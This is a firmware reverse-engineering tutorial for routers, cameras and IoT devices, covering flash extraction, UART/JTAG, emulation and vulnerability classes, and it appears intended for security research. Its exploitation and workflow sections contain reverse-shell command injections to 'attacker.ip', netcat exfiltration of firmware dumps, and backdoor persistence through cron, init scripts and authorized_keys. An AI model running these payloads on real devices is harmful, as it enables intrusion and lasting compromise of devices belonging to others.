For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.
Firmware Reverse Engineering
Purpose: Comprehensive guide to extracting, analyzing, and exploiting firmware from embedded devices (routers, IoT devices, cameras, smart home devices) for security research and vulnerability discovery.
Table of Contents
- Overview
- Firmware Acquisition
- Firmware Analysis
- Filesystem Extraction
- Binary Analysis
- Hardware Interfaces
- Emulation & Dynamic Analysis
- Common Vulnerabilities
- Exploitation Techniques
- Tools Reference
Overview
What is Firmware?
Firmware is software embedded in hardware devices that controls device functionality. Unlike desktop software, firmware:
- Runs on resource-constrained embedded processors (ARM, MIPS, PowerPC)
- Often uses custom Linux distributions (embedded Linux, BusyBox)
- May use Real-Time Operating Systems (RTOS) or bare-metal code
- Stored in non-volatile memory (flash, EEPROM, ROM)
Common embedded devices:
- Network devices: Routers, switches, access points, firewalls
- IoT devices: Smart cameras, door locks, thermostats, light bulbs
- Industrial control: PLCs (Programmable Logic Controllers), SCADA systems
- Consumer electronics: Smart TVs, set-top boxes, printers
- Automotive: Car infotainment systems, ECUs (Engine Control Units)
Why Reverse Firmware?
Security research:
- Discover vulnerabilities (command injection, authentication bypass, hardcoded credentials)
- Analyze encryption implementations
- Understand attack surface before pentesting
Compatibility & interoperability:
- Reverse proprietary protocols
- Enable third-party firmware (OpenWrt, DD-WRT)
Forensics:
- Recover deleted data from devices
- Analyze malware on IoT devices
- Incident response for compromised embedded systems
Threat Model
Attacker capabilities:
- Remote attacker: Network access only (web interface, network services)
- Local network attacker: LAN access (MITM, spoofing)
- Physical access: UART/JTAG debugging, firmware extraction, hardware modification
- Insider threat: Supply chain attacks, malicious firmware updates
Common attack vectors:
- Unauthenticated web interfaces
- Default/hardcoded credentials
- Command injection in web parameters
- Buffer overflows in network services
- Insecure firmware update mechanisms
Legal & Ethical Considerations
Legal risks:
- DMCA Section 1201 (US): Prohibits circumventing access controls (encryption, code signing)
- CFAA: Unauthorized access to computer systems
- Warranty void: Hardware modification may void warranties
- Responsible disclosure: Report vulnerabilities to vendors before public disclosure
Ethical guidelines:
- ✅ Security research on devices you own
- ✅ Responsible vulnerability disclosure (CVE, vendor coordination)
- ✅ Improving device security (custom firmware, patches)
- ❌ Attacking devices you don't own without authorization
- ❌ Weaponizing vulnerabilities for malicious purposes
Firmware Acquisition
Method 1: Download from Vendor Website
Easiest method - many vendors provide firmware updates for download.
Finding firmware:
# Google search:
site:vendor.com "firmware update" "download"
# Example (TP-Link router):
# https://www.tp-link.com/us/support/download/
# Download firmware:
wget https://static.tp-link.com/...firmware.bin
# Verify hash (if vendor provides):
sha256sum firmware.bin
# Compare with vendor-provided SHA-256 hash
Firmware update file types:
.bin- Raw binary image.img- Disk image.zip/.tar.gz- Compressed archive.trx- TRX firmware format (Broadcom routers).chk- Netgear firmware format- Vendor-specific formats (encrypted or obfuscated)
Method 2: Intercept Firmware Update
If vendor doesn't provide direct download, intercept update traffic.
Setup:
# Wireshark capture during firmware update:
# 1. Start Wireshark on network interface
# 2. Filter: http or dns
# 3. Trigger firmware update from device web interface
# 4. Look for HTTP GET/POST to download URL
# Example captured URL:
# http://update.vendor.com/firmware/device_v1.2.3.bin
# Download:
wget http://update.vendor.com/firmware/device_v1.2.3.bin
HTTPS interception (if update is encrypted):
# Use Burp Suite or mitmproxy as HTTPS proxy:
# 1. Configure device to use proxy (if possible)
# 2. Install proxy CA certificate on device (if possible)
# 3. Capture firmware download URL
# If device validates certificate (common), this won't work
# Fall back to hardware extraction
Method 3: Extract from Flash Memory (Hardware)
Required when:
- Vendor doesn't provide firmware
- Firmware is encrypted during updates
- Need to analyze modified/infected firmware
Hardware required:
- Flash programmer: Bus Pirate, CH341A USB programmer, Raspberry Pi
- Chip clip or soldering iron: To connect to flash chip
- Multimeter: To identify voltage levels
Common flash memory types:
| Type | Interface | Capacity | Common Use |
|---|---|---|---|
| SPI Flash (25-series) | SPI (4-8 pins) | 1-128 MB | Routers, IoT |
| NAND Flash | Parallel | 128 MB - 32 GB | Smartphones, tablets |
| eMMC | MMC interface | 4-256 GB | Android devices, embedded Linux |
| I2C EEPROM (24-series) | I2C (2 pins) | 1-512 KB | Small devices, config storage |
Extracting SPI flash (most common):
Step 1: Identify flash chip
# Open device, locate flash chip on PCB
# Common SPI flash chips: Winbond W25Q64, Macronix MX25L, Spansion S25FL
# Example chip markings:
# Winbold
# 25Q64FVSIG
# 1234567890 (date code)
# Datasheet: Google "W25Q64 datasheet"
# Pinout (SOIC-8):
# Pin 1: /CS (Chip Select)
# Pin 2: DO (Data Out / MISO)
# Pin 3: /WP (Write Protect)
# Pin 4: GND
# Pin 5: DI (Data In / MOSI)
# Pin 6: CLK (Clock)
# Pin 7: /HOLD
# Pin 8: VCC (3.3V)
Step 2: Connect flash programmer
Using CH341A USB programmer:
# CH341A wiring to SPI flash (SOIC-8):
# CH341A | SPI Flash Pin | Function
# --------- | ------------- | --------
# VCC (3.3V)| Pin 8 | Power
# GND | Pin 4 | Ground
# CS | Pin 1 | Chip Select
# MISO | Pin 2 | Data Out
# MOSI | Pin 5 | Data In
# CLK | Pin 6 | Clock
# Option 1: Use chip clip (no soldering)
# Attach SOIC-8 clip to chip while on PCB
# Option 2: Desolder chip (more reliable)
# Use hot air station or soldering iron
# Place chip in ZIF socket on CH341A programmer
Step 3: Read flash memory
# Linux: Install flashrom
sudo apt install flashrom
# Detect flash chip:
sudo flashrom -p ch341a_spi
# Output:
# Found Winbond flash chip "W25Q64.V" (8192 kB, SPI) on ch341a_spi.
# Read flash (3 times to verify integrity):
sudo flashrom -p ch341a_spi -r firmware1.bin
sudo flashrom -p ch341a_spi -r firmware2.bin
sudo flashrom -p ch341a_spi -r firmware3.bin
# Verify all reads are identical (compare hashes):
sha256sum firmware*.bin
# All three should have same hash
# Use firmware1.bin for analysis
Using Raspberry Pi as SPI programmer:
# Enable SPI on Raspberry Pi:
sudo raspi-config
# Interfacing Options → SPI → Enable
# Wiring (Raspberry Pi GPIO to SPI flash):
# RPi GPIO | SPI Flash Pin | Function
# --------- | ------------- | --------
# Pin 1 (3.3V) | Pin 8 | Power
# Pin 6 (GND) | Pin 4 | Ground
# Pin 24 (CE0) | Pin 1 | Chip Select
# Pin 21 (MISO)| Pin 2 | Data Out
# Pin 19 (MOSI)| Pin 5 | Data In
# Pin 23 (SCLK)| Pin 6 | Clock
# Read flash:
sudo flashrom -p linux_spi:dev=/dev/spidev0.0,spispeed=1000 -r firmware.bin
Method 4: UART/Serial Console Extraction
If device has UART debug console, you may be able to dump firmware.
# Connect to UART (see Hardware Interfaces section)
# Common UART commands (BusyBox/Linux):
# Dump entire flash partition:
dd if=/dev/mtd0 | nc <attacker_ip> 1234
# On attacker machine:
nc -l -p 1234 > firmware.bin
# Or use base64 encoding (if binary transfer fails):
dd if=/dev/mtd0 | base64
# Copy output, decode on attacker machine:
base64 -d > firmware.bin
Firmware Analysis
Initial Triage
Determine firmware type and architecture:
# File type detection:
file firmware.bin
# Output examples:
# - "data" (raw binary, compressed, or encrypted)
# - "ELF 32-bit LSB executable, ARM" (Linux kernel or application)
# - "gzip compressed data" (compressed filesystem)
# - "Squashfs filesystem" (embedded filesystem)
# Binwalk: Identify embedded files/filesystems
binwalk firmware.bin
# Output:
# DECIMAL HEXADECIMAL DESCRIPTION
# --------------------------------------------------------------------------------
# 0 0x0 TRX firmware header
# 28 0x1C LZMA compressed data
# 1048576 0x100000 Squashfs filesystem, little endian, version 4.0
# 5242880 0x500000 JFFS2 filesystem, little endian
# Entropy analysis (detect encryption):
binwalk -E firmware.bin
# High entropy (close to 1.0) = encrypted or compressed
# Low entropy = uncompressed data
# Strings analysis (look for clues):
strings firmware.bin | grep -i "version\|copyright\|password\|root"
Identify architecture:
# Look for ELF binaries in firmware (after extraction):
file bin/busybox
# Output: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1
# Common embedded architectures:
# - ARM (32-bit: ARMv7, 64-bit: ARMv8/AArch64)
# - MIPS (32-bit: MIPS32, 64-bit: MIPS64)
# - PowerPC (PPC)
# - x86/x64 (less common in embedded)
Firmware Unpacking
Automated unpacking with binwalk:
# Extract all embedded files/filesystems:
binwalk -e firmware.bin
# Output directory: _firmware.bin.extracted/
# Contains extracted filesystems, compressed data, etc.
# Navigate to extracted filesystem:
cd _firmware.bin.extracted/squashfs-root/
ls -la
# Output: bin/ etc/ lib/ sbin/ usr/ var/ www/
Manual unpacking (if binwalk fails):
# Example: SquashFS at offset 0x100000
# Extract with dd and unsquashfs:
dd if=firmware.bin bs=1 skip=$((0x100000)) of=filesystem.squashfs
unsquashfs filesystem.squashfs
# Output: squashfs-root/
# Example: JFFS2 filesystem
dd if=firmware.bin bs=1 skip=$((0x500000)) of=filesystem.jffs2
# Mount JFFS2 (requires mtd-utils):
sudo modprobe mtdblock
sudo modprobe mtdram total_size=32768 erase_size=256
sudo dd if=filesystem.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2
Handling encrypted firmware:
# Encryption detection:
binwalk -E firmware.bin
# High entropy across entire file = likely encrypted
# Decryption strategies:
# 1. Find decryption key in device memory (UART shell, if available)
# 2. Reverse firmware update process (find decryption routine in bootloader/updater)
# 3. Extract key from device flash (may be stored separately)
# 4. Hardware attacks (fault injection, side-channel analysis)
# Example: Find AES key in memory dump
strings memory_dump.bin | grep -E "^[0-9a-fA-F]{32}$" # 128-bit AES key (hex)
Filesystem Extraction
Analyzing Extracted Filesystem
Key directories in embedded Linux:
# Navigate to extracted filesystem:
cd squashfs-root/
# Directory structure:
bin/ # Essential binaries (busybox, sh)
sbin/ # System binaries (init, ifconfig)
etc/ # Configuration files (passwd, shadow, init scripts)
lib/ # Shared libraries (libc, libpthread)
usr/ # User programs and libraries
var/ # Variable data (logs, tmp files)
www/ # Web server files (HTML, CGI scripts)
dev/ # Device files (usually empty in filesystem image)
proc/ # Process info (mounted at runtime)
tmp/ # Temporary files
Searching for Sensitive Information
Hardcoded credentials:
# Search for passwords in configuration files:
grep -r "password\|passwd\|pwd" etc/
# Common files with credentials:
cat etc/passwd # User accounts
cat etc/shadow # Password hashes (if present)
cat etc/config/* # Vendor-specific config files
# Example (TP-Link router):
cat etc/config/account
# username=admin
# password=21232f297a57a5a743894a0e4a801fc3 (MD5 hash of "admin")
# Search for API keys, tokens:
grep -r "api_key\|token\|secret" etc/ www/
Backdoor accounts:
# Check for hidden admin accounts:
cat etc/passwd | grep -v "^#"
# Example backdoor:
# debug:x:0:0:Debug User:/root:/bin/sh (UID 0 = root)
# Check for SSH authorized_keys:
find . -name "authorized_keys" -exec cat {} \;
Encryption keys:
# Search for SSL/TLS private keys:
find . -name "*.pem" -o -name "*.key"
# Example:
cat etc/ssl/private/server.key
# -----BEGIN RSA PRIVATE KEY-----
# ...
Configuration files:
# Web server config:
cat etc/httpd.conf
cat etc/lighttpd/lighttpd.conf
# Telnet/SSH config:
cat etc/inetd.conf
cat etc/dropbear/dropbear_rsa_host_key
# Wireless config (routers):
cat etc/config/wireless
# Contains WiFi passwords, security settings
Web Application Files
Analyzing web interfaces:
# Web root (common locations):
cd www/
# or
cd usr/www/
# or
cd home/httpd/
# Identify web server:
ps aux | grep httpd
# Common embedded web servers: lighttpd, boa, goahead, thttpd
# Analyze CGI scripts (common vulnerability source):
find www/ -name "*.cgi" -o -name "*.sh"
# Example CGI script:
cat www/cgi-bin/login.cgi
CGI command injection example:
# Vulnerable CGI script (login.cgi):
#!/bin/sh
USERNAME=$1
PASSWORD=$2
# Vulnerable: unsanitized input passed to system command
/usr/bin/check_password $USERNAME $PASSWORD
# Exploitation (command injection via username parameter):
# http://router.ip/cgi-bin/login.cgi?username=admin;reboot;&password=pass
# Result: Router reboots due to injected "reboot" command
Binary Analysis
Analyzing Embedded Binaries
Common binary types:
- BusyBox: Single binary with multiple utilities (ls, cat, wget, etc.)
- Custom daemons: httpd, telnetd, dropbear (SSH), etc.
- Proprietary applications: Vendor-specific services
Disassembly tools:
# For ARM/MIPS binaries, use:
# - Ghidra (supports ARM, MIPS, PowerPC)
# - IDA Pro (commercial, excellent ARM/MIPS support)
# - Radare2 (free, supports many architectures)
# Example: Analyze httpd binary in Ghidra
# 1. Load bin/httpd in Ghidra
# 2. Select architecture: ARM:LE:32:v7 (or MIPS:LE:32:default)
# 3. Analyze with default settings
Finding vulnerabilities in binaries:
1. Stack buffer overflows:
// Vulnerable code (decompiled from httpd):
void handle_request(char *request) {
char buffer[256];
strcpy(buffer, request); // No bounds checking!
process_request(buffer);
}
// Exploitation: Send request > 256 bytes to overflow buffer
2. Format string vulnerabilities:
// Vulnerable code:
void log_message(char *user_input) {
syslog(LOG_INFO, user_input); // User input directly in format string!
}
// Exploitation:
// Input: "%x %x %x %x" -> Leak stack memory
// Input: "%n" -> Write to arbitrary memory
3. Command injection:
// Vulnerable code (CGI script analysis):
void ping_host(char *ip) {
char cmd[512];
sprintf(cmd, "ping -c 1 %s", ip); // Unsanitized input!
system(cmd);
}
// Exploitation:
// Input: "8.8.8.8; cat /etc/shadow"
// Executed command: "ping -c 1 8.8.8.8; cat /etc/shadow"
Cross-Compilation for Testing
Set up cross-compiler:
# Install ARM cross-compiler (for ARM targets):
sudo apt install gcc-arm-linux-gnueabi g++-arm-linux-gnueabi
# Compile exploit:
arm-linux-gnueabi-gcc exploit.c -o exploit -static
# Install MIPS cross-compiler (for MIPS targets):
sudo apt install gcc-mipsel-linux-gnu g++-mipsel-linux-gnu
# Compile for MIPS:
mipsel-linux-gnu-gcc exploit.c -o exploit -static
Hardware Interfaces
UART (Universal Asynchronous Receiver/Transmitter)
UART is a serial debug console, often exposed on PCB test points.
Finding UART pins:
# Visual inspection:
# Look for 3-4 pins labeled: TX, RX, GND, (VCC)
# Often located near main processor or edge of PCB
# Common UART pin configurations:
# 4-pin: VCC, TX, RX, GND
# 3-pin: TX, RX, GND (most common)
# Pin identification (if not labeled):
# 1. GND: Use multimeter continuity test to ground (e.g., USB shield)
# 2. VCC: Measure voltage with multimeter (3.3V or 5V when device powered)
# 3. TX: Voltage fluctuates during boot (transmits data)
# 4. RX: Voltage stable (receives data, safe to probe)
UART connection:
# Hardware required:
# - USB-to-UART adapter (FTDI FT232, CP2102, PL2303)
# - Jumper wires
# - Multimeter (to identify pins)
# Wiring (device UART to USB adapter):
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
# (Do NOT connect VCC unless necessary - power device separately)
# Determine baud rate (common: 115200, 57600, 38400, 9600)
# Try common baud rates in minicom/screen
# Linux: Connect via screen
screen /dev/ttyUSB0 115200
# Or use minicom:
sudo minicom -D /dev/ttyUSB0 -b 115200
# Windows: Use PuTTY or TeraTerm
# Serial, COM3, 115200 baud, 8N1
UART baud rate detection (if unknown):
# Use logic analyzer or oscilloscope to measure bit timing
# Or try common rates:
for baud in 9600 19200 38400 57600 115200 230400; do
echo "Trying baud rate: $baud"
screen /dev/ttyUSB0 $baud
# Press Enter, look for readable output
# Ctrl+A, K to exit
done
UART shell access:
# Best case: Get root shell directly
# Output during boot:
# ...
# BusyBox v1.28.4 (2023-01-01 12:00:00 UTC) built-in shell (ash)
# Enter 'help' for a list of built-in commands.
#
# / # (root shell!)
# Commands to run:
cat /proc/cpuinfo # CPU architecture
cat /proc/mtd # Flash partitions
cat /proc/cmdline # Kernel boot parameters
ifconfig # Network configuration
ps aux # Running processes
cat /etc/passwd # User accounts
cat /etc/shadow # Password hashes (if readable)
# Dump firmware from UART:
dd if=/dev/mtd0 | nc <attacker_ip> 1234
Bypassing authentication (if UART is password-protected):
# Method 1: Interrupt bootloader (U-Boot)
# Power on device, press Ctrl+C or Enter repeatedly during boot
# Drop into U-Boot shell:
# U-Boot>
# Common U-Boot commands:
printenv # Show environment variables
setenv bootargs "init=/bin/sh" # Boot directly to shell (bypass init)
boot # Boot with modified parameters
# Method 2: Edit kernel cmdline
setenv bootargs "console=ttyS0,115200 init=/bin/sh"
saveenv
boot
# Method 3: Single-user mode
setenv bootargs "console=ttyS0,115200 single"
boot
JTAG (Joint Test Action Group)
JTAG is a hardware debugging interface (more powerful than UART).
JTAG capabilities:
- Full CPU control (set breakpoints, single-step execution)
- Memory read/write (dump firmware, modify RAM)
- Flash programming (write new firmware)
Finding JTAG pins:
# Common JTAG pin configurations:
# - 20-pin ARM JTAG (standard)
# - 14-pin JTAG (compact)
# - 10-pin Cortex Debug (ARM Cortex-M)
# - 5-pin JTAG (minimal: TDI, TDO, TMS, TCK, GND)
# Pin identification (if not labeled):
# Use JTAGulator or manual probing:
# https://github.com/grandideastudio/jtagulator
# Common pins:
# TDI - Test Data In
# TDO - Test Data Out
# TMS - Test Mode Select
# TCK - Test Clock
# TRST - Test Reset (optional)
# GND - Ground
JTAG connection (using Bus Pirate or J-Link):
# Using OpenOCD (Open On-Chip Debugger):
sudo apt install openocd
# Example config (ARM device):
# openocd.cfg:
interface jlink
transport select jtag
adapter speed 1000
jtag newtap chip cpu -irlen 4 -expected-id 0x07926041
target create chip.cpu arm926ejs -chain-position chip.cpu
# Connect:
sudo openocd -f openocd.cfg
# In another terminal (telnet to OpenOCD):
telnet localhost 4444
# OpenOCD commands:
halt # Stop CPU
reg # Show registers
mdw 0x00000000 256 # Memory dump (256 words from 0x0)
dump_image firmware.bin 0x00000000 0x800000 # Dump 8MB from flash
reset # Reset device
SPI (Serial Peripheral Interface)
See Firmware Acquisition → Extract from Flash Memory for SPI flash extraction.
Emulation & Dynamic Analysis
QEMU User-Mode Emulation
Emulate individual binaries (faster than full system emulation).
# Install QEMU user-mode:
sudo apt install qemu-user qemu-user-static
# Copy ARM/MIPS binary from firmware:
cp squashfs-root/bin/httpd .
# Run ARM binary on x86 host:
qemu-arm -L squashfs-root/ ./httpd
# -L: Specify library path (extracted filesystem)
# Run with strace (trace system calls):
qemu-arm -L squashfs-root/ -strace ./httpd
# Run MIPS binary:
qemu-mipsel -L squashfs-root/ ./httpd
Debugging with GDB:
# Run binary in QEMU with GDB server:
qemu-arm -L squashfs-root/ -g 1234 ./httpd
# In another terminal, attach GDB:
gdb-multiarch ./httpd
(gdb) target remote localhost:1234
(gdb) break main
(gdb) continue
QEMU System Emulation
Emulate entire device (router, IoT device).
# Extract kernel and filesystem from firmware:
binwalk -e firmware.bin
# Identify kernel:
file _firmware.bin.extracted/*
# Example: _firmware.bin.extracted/1C: Linux kernel ARM boot executable zImage
# Extract kernel (if compressed):
binwalk -e _firmware.bin.extracted/1C
# Run in QEMU (ARM example):
qemu-system-arm \
-M versatilepb \
-kernel vmlinux \
-initrd filesystem.cpio \
-append "root=/dev/ram console=ttyAMA0" \
-nographic
# Common QEMU machine types:
# -M versatilepb (ARM)
# -M malta (MIPS)
# -M virt (generic ARM/MIPS)
Firmadyne (Automated Firmware Emulation)
Firmadyne automates firmware emulation and vulnerability testing.
# Install Firmadyne:
git clone https://github.com/firmadyne/firmadyne.git
cd firmadyne
./download.sh # Download pre-built binaries
# Setup database:
sudo apt install postgresql
sudo -u postgres createuser -P firmadyne # Set password
sudo -u postgres createdb -O firmadyne firmware
# Import firmware database:
psql -d firmware -U firmadyne < ./database/schema
# Analyze firmware:
./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk firmware.bin images
# Emulate firmware:
./scripts/getArch.sh ./images/1.tar.gz
./scripts/makeImage.sh 1
./scripts/inferNetwork.sh 1
./scripts/run.sh 1
# Access emulated device:
# Network: 192.168.0.1 (or as detected)
# Web interface: http://192.168.0.1/
FAT (Firmware Analysis Toolkit)
FAT is a wrapper around Firmadyne with additional features.
# Install FAT:
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit
./setup.sh
# Run analysis:
./fat.py firmware.bin
# Output:
# - Extracts firmware
# - Emulates in QEMU
# - Runs vulnerability scanners (Nmap, Nessus)
# - Generates report
Common Vulnerabilities
Authentication Bypass
Hardcoded credentials:
# Found in etc/passwd or config files:
# Username: admin
# Password: admin (or default password)
# MD5 hash in config:
# password=21232f297a57a5a743894a0e4a801fc3
# Crack with hashcat:
hashcat -m 0 -a 0 hash.txt rockyou.txt
# Result: admin
Backdoor accounts:
# etc/passwd entry:
debug:x:0:0:Debug:/root:/bin/sh
# Login via telnet/SSH:
telnet 192.168.1.1
# Username: debug
# Password: (empty or default)
Authentication logic flaws:
// Vulnerable authentication (decompiled from httpd):
if (strcmp(username, "admin") == 0) {
if (strcmp(password, stored_password) == 0) {
authenticated = 1;
}
}
// Bypass: If username != "admin", authentication check is skipped
// Exploit: Use any username except "admin" (no password needed)
Command Injection
CGI parameter injection:
# Vulnerable CGI script (/cgi-bin/ping.cgi):
#!/bin/sh
IP=$QUERY_STRING
ping -c 1 $IP > /tmp/ping.txt
cat /tmp/ping.txt
# Exploitation:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;id"
# Executed command: ping -c 1 8.8.8.8;id
# Output: uid=0(root) gid=0(root) groups=0(root)
# Reverse shell:
curl "http://router.ip/cgi-bin/ping.cgi?8.8.8.8;nc%20-e%20/bin/sh%20attacker.ip%201234"
HTTP header injection:
// Vulnerable code:
void handle_user_agent(char *user_agent) {
char cmd[512];
sprintf(cmd, "echo %s >> /tmp/log", user_agent);
system(cmd);
}
// Exploitation (User-Agent header):
User-Agent: test; cat /etc/shadow > /tmp/shadow.txt
Buffer Overflows
Stack-based overflow:
// Vulnerable code (httpd):
void process_url(char *url) {
char buffer[256];
strcpy(buffer, url); // No bounds checking
// ...
}
// Exploitation (send long URL):
# Python exploit:
payload = b"A" * 300
requests.get(f"http://router.ip/{payload}")
# Result: Crash (or RCE with proper exploit)
Insecure Firmware Updates
Unsigned firmware updates:
# Firmware update without signature verification
# Attacker can upload malicious firmware
# Exploitation:
# 1. Modify legitimate firmware (inject backdoor)
# 2. Upload modified firmware via web interface
# 3. Device installs malicious firmware
Firmware downgrade attacks:
# If device allows downgrade to older, vulnerable firmware:
# 1. Upload old firmware with known vulnerabilities
# 2. Exploit old vulnerabilities
Weak Cryptography
Hardcoded encryption keys:
# Found in binary or config:
AES_KEY = "1234567890ABCDEF1234567890ABCDEF"
# Use key to decrypt firmware or communications
Weak password hashing:
# MD5 hashed passwords (etc/shadow):
admin:21232f297a57a5a743894a0e4a801fc3:0:0::/root:/bin/sh
# Crack with hashcat:
hashcat -m 0 hash.txt rockyou.txt
Exploitation Techniques
Gaining Shell Access
Method 1: Command injection
# Find injectable parameter (ping, traceroute, etc.)
# Inject reverse shell:
nc -e /bin/sh attacker.ip 1234
# Or use Metasploit web_delivery:
msfconsole
use exploit/multi/script/web_delivery
set target 7 # Python
set payload linux/mipsle/shell_reverse_tcp # Adjust for architecture
set lhost attacker.ip
run
# Inject generated command via vulnerable CGI parameter
Method 2: Telnet/SSH with extracted credentials
# Found in etc/passwd:
# root:x:0:0::/root:/bin/sh
# Found in etc/shadow:
# root:$1$xyz...:0:0::/root:/bin/sh
# Crack hash or use default password
# Login via telnet:
telnet router.ip
# root / <password>
Method 3: UART shell
# Connect to UART (see Hardware Interfaces section)
# Interrupt boot, modify bootargs to spawn shell:
setenv bootargs "init=/bin/sh"
boot
Persistence Mechanisms
Method 1: Modified firmware
# Extract firmware, add backdoor, repack, upload
# Example: Add SSH authorized_key
echo "ssh-rsa AAAA... attacker@host" >> squashfs-root/etc/dropbear/authorized_keys
# Repack squashfs:
mksquashfs squashfs-root/ filesystem_modified.squashfs -comp xz
# Rebuild firmware image:
# (depends on firmware format - TRX, BIN, etc.)
# Upload modified firmware via web interface or TFTP
Method 2: Cron job
# Add cron job (if device supports cron):
echo "*/5 * * * * nc attacker.ip 1234 -e /bin/sh" >> /etc/crontabs/root
# Make persistent (if filesystem is writable):
# Mount root filesystem as RW, modify, sync
mount -o remount,rw /
echo "*/5 * * * * nc attacker.ip 1234 -e /bin/sh" >> /etc/crontabs/root
sync
Method 3: Init script
# Add backdoor to init script:
echo "nc attacker.ip 1234 -e /bin/sh &" >> /etc/init.d/rcS
# Make persistent:
mount -o remount,rw /
sync
Post-Exploitation
Network pivoting:
# Use compromised router as pivot point:
# Route traffic through router to access internal network
# Setup SOCKS proxy (if device has netcat/socat):
ssh -D 8080 root@router.ip
# Or use Metasploit pivot:
msfconsole
use post/multi/manage/autoroute
set session 1
run
Extracting sensitive data:
# Wireless credentials:
cat /etc/config/wireless
# Contains WPA/WPA2 passwords
# VPN credentials:
cat /etc/config/vpn
# SNMP community strings:
cat /etc/config/snmpd
# Firmware encryption keys:
find / -name "*.key" -o -name "*.pem"
Tools Reference
Firmware Analysis Tools
| Tool | Purpose | Platform |
|---|---|---|
| binwalk | Firmware extraction, entropy analysis | Linux, macOS |
| firmware-mod-kit | Firmware unpacking/repacking | Linux |
| jefferson | JFFS2 filesystem extractor | Linux |
| sasquatch | SquashFS extractor (supports all versions) | Linux |
| ubi_reader | UBI/UBIFS filesystem extractor | Linux |
| cramfsck | CramFS extractor | Linux |
| firmware-analysis-toolkit (FAT) | Automated firmware analysis | Linux |
| Firmadyne | Automated firmware emulation | Linux |
| FACT | Firmware Analysis and Comparison Tool | Linux (web-based) |
Hardware Tools
| Tool | Purpose | Cost |
|---|---|---|
| Bus Pirate | Multi-protocol hardware tool (SPI, I2C, UART, JTAG) | ~$35 |
| CH341A | USB SPI flash programmer | ~$5 |
| FT232 | USB to UART adapter | ~$5 |
| J-Link | JTAG debugger (ARM) | $60-400 |
| Raspberry Pi | Multi-purpose (SPI programmer, JTAG, GPIO) | $35-75 |
| Logic Analyzer | Protocol analysis (Saleae Logic, etc.) | $100-500 |
| JTAGulator | JTAG pin identification | $150 |
Emulation & Debugging
| Tool | Purpose |
|---|---|
| QEMU | CPU emulation (ARM, MIPS, PowerPC, etc.) |
| Firmadyne | Automated firmware emulation framework |
| firmware-analysis-toolkit | Wrapper for Firmadyne |
| ARM-X | ARM firmware emulation framework |
| OpenOCD | JTAG debugging |
| GDB-multiarch | Multi-architecture debugger |
Binary Analysis
| Tool | Purpose |
|---|---|
| Ghidra | Disassembler/decompiler (ARM, MIPS support) |
| IDA Pro | Commercial disassembler (best ARM/MIPS support) |
| Radare2 | Open-source RE framework |
| angr | Binary analysis framework (symbolic execution) |
Exploitation
| Tool | Purpose |
|---|---|
| Metasploit | Exploitation framework |
| pwntools | Exploit development (Python) |
| Burp Suite | Web application testing |
| Nmap | Network scanning (identify open ports/services) |
Utilities
# Essential command-line tools:
sudo apt install \
binwalk \
firmware-mod-kit \
squashfs-tools \
mtd-utils \
cramfsprogs \
flashrom \
openocd \
qemu-user-static \
qemu-system-arm \
qemu-system-mips \
gdb-multiarch \
python3-pip
# Python tools:
pip3 install binwalk python-lzo
Practical Workflows
Workflow 1: Router Firmware Analysis
Scenario: Analyze TP-Link router firmware for vulnerabilities.
Step 1: Acquire firmware
wget https://static.tp-link.com/.../ArcherC7v5_us_firmware.bin
Step 2: Extract filesystem
binwalk -e ArcherC7v5_us_firmware.bin
cd _ArcherC7v5_us_firmware.bin.extracted/squashfs-root/
Step 3: Search for vulnerabilities
# Hardcoded credentials:
grep -r "password" etc/
# Web vulnerabilities:
find www/ -name "*.cgi" -exec grep -l "system(" {} \;
# Example: /www/cgi-bin/admin.cgi calls system() with user input
Step 4: Test exploit
# Emulate firmware (Firmadyne or QEMU)
# Access web interface: http://192.168.0.1/
# Test command injection:
curl "http://192.168.0.1/cgi-bin/admin.cgi?cmd=;id"
Step 5: Report vulnerability
# Responsible disclosure to TP-Link
# CVE request
Workflow 2: IoT Camera Firmware Extraction
Scenario: Extract firmware from Wyze camera via UART.
Step 1: Open device, identify UART
# Locate 4-pin header (TX, RX, GND, VCC)
# Use multimeter to identify GND (continuity to USB shield)
Step 2: Connect UART adapter
# Device TX -> Adapter RX
# Device RX -> Adapter TX
# Device GND -> Adapter GND
Step 3: Determine baud rate
# Try 115200 baud:
screen /dev/ttyUSB0 115200
# Press Enter, look for readable output
# If garbage, try other baud rates
Step 4: Access shell
# Power on device, interrupt boot:
# Press Ctrl+C during U-Boot countdown
# Modify boot parameters:
setenv bootargs "init=/bin/sh"
boot
# Now have root shell
Step 5: Dump firmware
# Identify flash partitions:
cat /proc/mtd
# Dump firmware:
dd if=/dev/mtd0 | nc attacker.ip 1234
# On attacker machine:
nc -l -p 1234 > firmware.bin
Workflow 3: Smart Thermostat Privilege Escalation
Scenario: Escalate from web user to root shell.
Step 1: Analyze web application
# Extract firmware, navigate to web root:
cd squashfs-root/www/
# Find authentication mechanism:
grep -r "login" *.php *.cgi
Step 2: Identify command injection
# Vulnerable CGI: /cgi-bin/settings.cgi
# Parameter "temp" is passed to system():
system("echo $QUERY_STRING > /tmp/temp.txt");
# Test injection:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;id"
Step 3: Gain shell
# Reverse shell:
curl "http://thermostat.ip/cgi-bin/settings.cgi?temp=25;nc%20-e%20/bin/sh%20attacker.ip%201234"
# On attacker machine:
nc -l -p 1234
# Got root shell!
Learning Resources
Documentation
- Binwalk Documentation: https://github.com/ReFirmLabs/binwalk/wiki
- OpenWrt Developer Guide: https://openwrt.org/docs/guide-developer/start
- Firmadyne Paper: https://firmadyne.com/
- OWASP IoT Security: https://owasp.org/www-project-internet-of-things/
Books
- The Hardware Hacker by Andrew "bunnie" Huang
- Practical IoT Hacking by Fotios Chantzis et al.
- Hardware Hacking Projects for Geeks by Scott Fullam
Online Courses
- Hardware Hacking (SANS SEC562)
- IoT Penetration Testing (eLearnSecurity)
- Offensive IoT Exploitation by Attify
Practice Labs
- IoT Goat (OWASP): Vulnerable IoT firmware
- Damn Vulnerable Router Firmware (DVRF): https://github.com/praetorian-inc/DVRF
- Damn Vulnerable ARM Router (DVAR): Practice firmware exploitation
Related SOPs
Analysis:
